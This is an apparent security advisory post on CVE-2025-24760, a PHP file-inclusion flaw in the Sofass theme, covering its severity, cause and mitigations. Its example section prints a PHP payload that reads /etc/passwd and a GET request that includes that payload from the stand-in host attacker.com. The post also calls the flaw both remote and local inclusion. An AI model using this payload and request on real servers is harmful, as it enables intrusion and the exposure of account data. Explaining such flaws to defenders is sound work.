CVE-2025-24760: Exploiting PHP Remote File Inclusion Vulnerability in Sofass

Overview

In this post, we are going to delve into a particularly worrying vulnerability that affects the goalthemes Sofass, specifically versions up to 1.3.4. This vulnerability, identified as CVE-2025-24760, allows an attacker to perform PHP Local File Inclusion which can have grave implications for the security of your system. PHP Remote File Inclusion vulnerabilities occur when an application receives a path to a file that should be included and executes it, a dangerous action if the file is malicious. Considering the potential for system compromise or data leakage, understanding this vulnerability is crucial for systems administrators and security personnel alike.

Vulnerability Summary

CVE ID: CVE-2025-24760
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Sofass | Up to 1.3.4

How the Exploit Works

The root cause of this vulnerability is improper control of the filename for the ‘include’ or ‘require’ statement in the PHP program of Sofass. The software does not properly sanitize user-supplied input and thus, an attacker can manipulate the input to load a file from a remote server that contains malicious PHP code. Once this file is loaded and executed, the attacker gains the capability to execute arbitrary commands or scripts in the context of the server’s PHP environment.

Conceptual Example Code

Let’s consider a conceptual example to understand how this vulnerability might be exploited. The steps involve crafting a malicious PHP file, hosting it on a remote server, and then manipulating the ‘include’ or ‘require’ statement in the vulnerable application to load and execute this file.
The contents of a malicious PHP file (malicious_payload.php) might look like this:

<?php
echo shell_exec('cat /etc/passwd');
?>

This file, when executed, would display the contents of the server’s /etc/passwd file, which contains user account information.
The attack would then use a HTTP request to exploit the vulnerability:

GET /index.php?page=http://attacker.com/malicious_payload.php HTTP/1.1
Host: target.example.com

The ‘page’ parameter is manipulated to load the malicious PHP file from the attacker’s server. When the server processes this request, it includes the malicious file and executes the harmful code.

Mitigation

The best way to mitigate this vulnerability is to apply the vendor’s patch. For temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block suspicious activities. Also, it is good practice to sanitize all user-supplied input and limit the use of the ‘include’ or ‘require’ statements to local files only.